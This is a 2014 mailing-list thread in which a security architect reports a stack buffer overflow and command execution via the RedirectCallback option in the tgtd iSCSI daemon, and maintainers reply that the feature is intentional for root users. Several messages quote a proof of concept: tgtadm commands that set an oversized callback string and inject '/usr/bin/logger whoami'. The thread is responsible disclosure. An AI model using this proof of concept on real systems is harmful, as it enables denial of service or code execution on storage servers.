Skip to contentSkip to conversation

tgtd buffer overflow and command injection vulnerabilities

DISCUSSION Hullinger, Jason (Cloud Services) 3 participants 6 messages Jun 10, 2014 – Jun 17, 2014

lore
Share & tools
lore
#0 lore raw

TGT Team:

The function call_program in the tgtd daemon includes a callback function that will run arbitrary commands. Additionally, it does not check that the cmd argument is smaller than the allocated buffer size causing a buffer overflow. Example and proof of concept:

usr/tgtd.c

int call_program(const char *cmd, void (*callback)(void *data, int result),
void *data, char *output, int op_len, int flags)
...
char *pos, arg[256];
...
str_spacecpy(&pos, cmd);

Where str_spacecpy (usr/tgtd.c) chops multiple white spaces into one white space. It takes a dest buffer and copies into a src buffer:

void str_spacecpy(char **dest, const char *src)

call_program is called from usr/target.c in get_redirect_address

static int
get_redirect_address(char *callback, char *buffer, int buflen,
char **address, char **ip_port, int *rsn)
...
if (call_program(callback, NULL, NULL, buffer, buflen, 0))
...

Where get_redirect_address is called from usr/target.c by:

int target_redirected(struct iscsi_target *target,
struct iscsi_connection *conn, char *buf, int *reason)
...
char dst[INET6_ADDRSTRLEN], in_buf[1024];
...

		ret = get_redirect_address(in_buf, buffer,
					sizeof(buffer), &addr, &port, &rsn);

...

in_buf, size 1024, is passed to call_program as 'cmd', which then copies into the dest char buffer of size 256 causing a buffer overflow.

In addition to that, any arbitrary command line argument that is pass in by tgtadm will be executed. Example:

sudo tgtd -C 1 --iscsi portal=127.0.0.1:860
sudo ./scripts/tgt-admin -C 1 -e -c /home/ubuntu/tgt/targets.confg

(in a different shell) sudo gdb --args tgtd -f -C 2 --iscsi portal=127.0.0.1
sudo ./scripts/tgt-admin -C 2 -e -c /home/ubuntu/tgt/targets.confg

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectAddress --value 127.0.0.1
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectPort --value 860
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectReason --value Temporary

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback --value 1zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

sudo iscsiadm -m discovery -t st -p 127.0.0.1
sudo iscsiadm -m node -p 127.0.0.1 -l

Upon attempting to authenticate, the command set by the --name RedirectCallback --value tgtadm directive will attempt to be executed. If you replace the above example with:

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback --value "/usr/bin/logger whoami"

You will see in the syslog file, where 'ubuntu' is the current user:

ubuntu iqn.2014-05.local.localhost:foobar 127.0.0.1

I'm a bit unclear as to what exactly is suppose to happen here, or what the intended result is, but it seems that arbitrary commands should not be allowed to be injected from tgtadm in addition to checking the strlen of cmd.

Thanks, and let me know if I can answer or clarify any questions.

Jason Hullinger

Security Architect
HP Helion Cloud

#1 lore raw

At Tue, 10 Jun 2014 19:17:35 +0000,

Quoted 84 lines · Jason (Cloud Services)

TGT Team:

The function call_program in the tgtd daemon includes a callback function that will run arbitrary commands. Additionally, it does not check that the cmd argument is smaller than the allocated buffer size causing a buffer overflow. Example and proof of concept:

usr/tgtd.c

int call_program(const char *cmd, void (*callback)(void *data, int result),
void *data, char *output, int op_len, int flags)
...
char *pos, arg[256];
...
str_spacecpy(&pos, cmd);

Where str_spacecpy (usr/tgtd.c) chops multiple white spaces into one white space. It takes a dest buffer and copies into a src buffer:

void str_spacecpy(char **dest, const char *src)

call_program is called from usr/target.c in get_redirect_address

static int
get_redirect_address(char *callback, char *buffer, int buflen,
char **address, char **ip_port, int *rsn)
...
if (call_program(callback, NULL, NULL, buffer, buflen, 0))
...

Where get_redirect_address is called from usr/target.c by:

int target_redirected(struct iscsi_target *target,
struct iscsi_connection *conn, char *buf, int *reason)
...
char dst[INET6_ADDRSTRLEN], in_buf[1024];
...

		ret = get_redirect_address(in_buf, buffer,
					sizeof(buffer), &addr, &port, &rsn);

...

in_buf, size 1024, is passed to call_program as 'cmd', which then copies into the dest char buffer of size 256 causing a buffer overflow.

In addition to that, any arbitrary command line argument that is pass in by tgtadm will be executed. Example:

sudo tgtd -C 1 --iscsi portal=127.0.0.1:860
sudo ./scripts/tgt-admin -C 1 -e -c /home/ubuntu/tgt/targets.confg

(in a different shell) sudo gdb --args tgtd -f -C 2 --iscsi portal=127.0.0.1
sudo ./scripts/tgt-admin -C 2 -e -c /home/ubuntu/tgt/targets.confg

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectAddress --value 127.0.0.1
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectPort --value 860
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectReason --value Temporary

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback --value 1zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

sudo iscsiadm -m discovery -t st -p 127.0.0.1
sudo iscsiadm -m node -p 127.0.0.1 -l

Upon attempting to authenticate, the command set by the --name RedirectCallback --value tgtadm directive will attempt to be executed. If you replace the above example with:

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback --value "/usr/bin/logger whoami"

You will see in the syslog file, where 'ubuntu' is the current user:

Quoted 8 lines

ubuntu iqn.2014-05.local.localhost:foobar 127.0.0.1

I'm a bit unclear as to what exactly is suppose to happen here, or what the intended result is, but it seems that arbitrary commands should not be allowed to be injected from tgtadm in addition to checking the strlen of cmd.

Thanks, and let me know if I can answer or clarify any questions.

I'm still not digging in the problem, but it seems to be very important. I added a new issue in the launchpad tracker:

https://bugs.launchpad.net/tgt-project/+bug/1329586

I'd like to fix it when I can allocate time for it, or have you already created a patch for it?

Thanks,
Hitoshi

Quoted 10 lines

Jason Hullinger

Security Architect
HP Helion Cloud

--
To unsubscribe from this list: send the line "unsubscribe stgt" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

#2 lore raw

Hi,

There is no patch because I'm a bit confused as to what the proper functionality is suppose to be. Typically a client/server model does not allow the client to inject arbitrary commands to the server. This is because a compromised client may further compromise the server by injecting malicious commands. Is the intent here to allow the client (tgtadmn) to inject arbitrary commands to the server (tgtd)? Additionally though, when str_spacecpy is called, the dest can be smaller than the src because the src can be 1024 bytes while the dest is set to 256 bytes causing a stack overflow and possible code execution and/or a denial of service.

Thanks,

Jason Hullinger

Quoted 137 lines · Hitoshi Mitake

At Tue, 10 Jun 2014 19:17:35 +0000,

Quoted 106 lines · Jason (Cloud Services)

TGT Team:

The function call_program in the tgtd daemon includes a callback function
that will run arbitrary commands. Additionally, it does not check that the
cmd argument is smaller than the allocated buffer size causing a buffer overflow. Example and proof of concept:

usr/tgtd.c

int call_program(const char *cmd, void (*callback)(void *data, int result),
void *data, char *output, int op_len, int flags)
...
char *pos, arg[256];
...
str_spacecpy(&pos, cmd);

Where str_spacecpy (usr/tgtd.c) chops multiple white spaces into one white
space. It takes a dest buffer and copies into a src buffer:

void str_spacecpy(char **dest, const char *src)

call_program is called from usr/target.c in get_redirect_address

static int
get_redirect_address(char *callback, char *buffer, int buflen,
char **address, char **ip_port, int *rsn)
...
if (call_program(callback, NULL, NULL, buffer, buflen, 0))
...

Where get_redirect_address is called from usr/target.c by:

int target_redirected(struct iscsi_target *target,
struct iscsi_connection *conn, char *buf, int *reason)
...
char dst[INET6_ADDRSTRLEN], in_buf[1024];
...

		ret = get_redirect_address(in_buf, buffer,
					sizeof(buffer), &addr, &port, &rsn);

...

in_buf, size 1024, is passed to call_program as 'cmd', which then copies into the dest char buffer of size 256 causing a buffer overflow.

In addition to that, any arbitrary command line argument that is pass in by tgtadm will be executed. Example:

sudo tgtd -C 1 --iscsi portal=127.0.0.1:860
sudo ./scripts/tgt-admin -C 1 -e -c /home/ubuntu/tgt/targets.confg

(in a different shell) sudo gdb --args tgtd -f -C 2 --iscsi portal=127.0.0.1
sudo ./scripts/tgt-admin -C 2 -e -c /home/ubuntu/tgt/targets.confg

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectAddress
--value 127.0.0.1
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectPort --value 860
sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectReason --value Temporary

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback
--value

1zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz

zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz zz zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz

sudo iscsiadm -m discovery -t st -p 127.0.0.1
sudo iscsiadm -m node -p 127.0.0.1 -l

Upon attempting to authenticate, the command set by the --name RedirectCallback --value tgtadm directive will attempt to be executed. If
you replace the above example with:

sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectCallback
--value "/usr/bin/logger whoami"

You will see in the syslog file, where 'ubuntu' is the current user:

ubuntu iqn.2014-05.local.localhost:foobar 127.0.0.1

Quoted 7 lines

I'm a bit unclear as to what exactly is suppose to happen here, or what the intended result is, but it seems that arbitrary commands should not be
allowed to be injected from tgtadm in addition to checking the strlen of cmd.

Thanks, and let me know if I can answer or clarify any questions.

I'm still not digging in the problem, but it seems to be very important. I added a new issue in the launchpad tracker:

https://bugs.launchpad.net/tgt-project/+bug/1329586

I'd like to fix it when I can allocate time for it, or have you already created a patch for it?

Thanks,
Hitoshi

Quoted 10 lines

Jason Hullinger

Security Architect
HP Helion Cloud

--
To unsubscribe from this list: send the line "unsubscribe stgt" in the body of a message to [email protected]
More majordomo info at http://vger.kernel.org/majordomo-info.html

#3 lore raw
In reply to Hullinger, Jason (Cloud Services)

Sorry about the delay,

Quoted 2 lines · Jason (Cloud Services)

The function call_program in the tgtd daemon includes a callback function that will run arbitrary commands. Additionally, it does not check that the

Yeah, the feature is intentional:

http://www.spinics.net/lists/linux-stgt/msg02065.html

No security about tgtadm. A user who can use tgtadm has the root permission. He can do whatever he want to on the machine. He doesn't need to use a security hole in tgtd and tgtadm.

Of course, we care about security about iscsi and isns ports.

#4 lore raw

Hi,

Thanks for the clarification, and I see you are using a domain socket at /var/run/tgtd.ipc_abstract_namespace.X Since the overflow occurs in a function that is expected to do arbitrary commands it's sort of redundant as a security issue. It is a bug though and will cause the process to break so it should still be fixed.

Thanks,

Jason Hullinger

Quoted 19 lines · FUJITA Tomonori

Sorry about the delay,

Quoted 4 lines · Jason (Cloud Services)

The function call_program in the tgtd daemon includes a callback function
that will run arbitrary commands. Additionally, it does not check that the

Yeah, the feature is intentional:

http://www.spinics.net/lists/linux-stgt/msg02065.html

No security about tgtadm. A user who can use tgtadm has the root permission. He can do whatever he want to on the machine. He doesn't need to use a security hole in tgtd and tgtadm.

Of course, we care about security about iscsi and isns ports.

#5 lore raw

While looking into making a patch for this issue I have found another buffer overflow in iscsi/target.c for the same callback feature in the function target_redirected:

char dst[INET6_ADDRSTRLEN], in_buf[1024];
...

p = in_buf;
		p += sprintf(p, "%s ", target->redirect_info.callback);
		p += sprintf(p, "%s ", tgt_targetname(target->tid));

...
sprintf(p, "%s", dst);

Where target->redirect_info.callback is char buffer set by user input and can easily be over 1024 characters. Having gone over these functions I'm not exactly clear what it's purpose is, so perhaps someone on the tgt side would be better suited to fix these issues. I would recommend not using sprintf (or other such unsafe functions) throughout the tgt project and at least using snprintf instead.

Thanks,

Jason Hullinger

Quoted 34 lines · Jason (Cloud Services)

Hi,

Thanks for the clarification, and I see you are using a domain socket at /var/run/tgtd.ipc_abstract_namespace.X Since the overflow occurs in a function that is expected to do arbitrary commands it's sort of redundant as a security issue. It is a bug though and will cause the process to break so it should still be fixed.

Thanks,

Jason Hullinger

Quoted 19 lines · FUJITA Tomonori

Sorry about the delay,

Quoted 4 lines · Jason (Cloud Services)

The function call_program in the tgtd daemon includes a callback function
that will run arbitrary commands. Additionally, it does not check that the

Yeah, the feature is intentional:

http://www.spinics.net/lists/linux-stgt/msg02065.html

No security about tgtadm. A user who can use tgtadm has the root permission. He can do whatever he want to on the machine. He doesn't need to use a security hole in tgtd and tgtadm.

Of course, we care about security about iscsi and isns ports.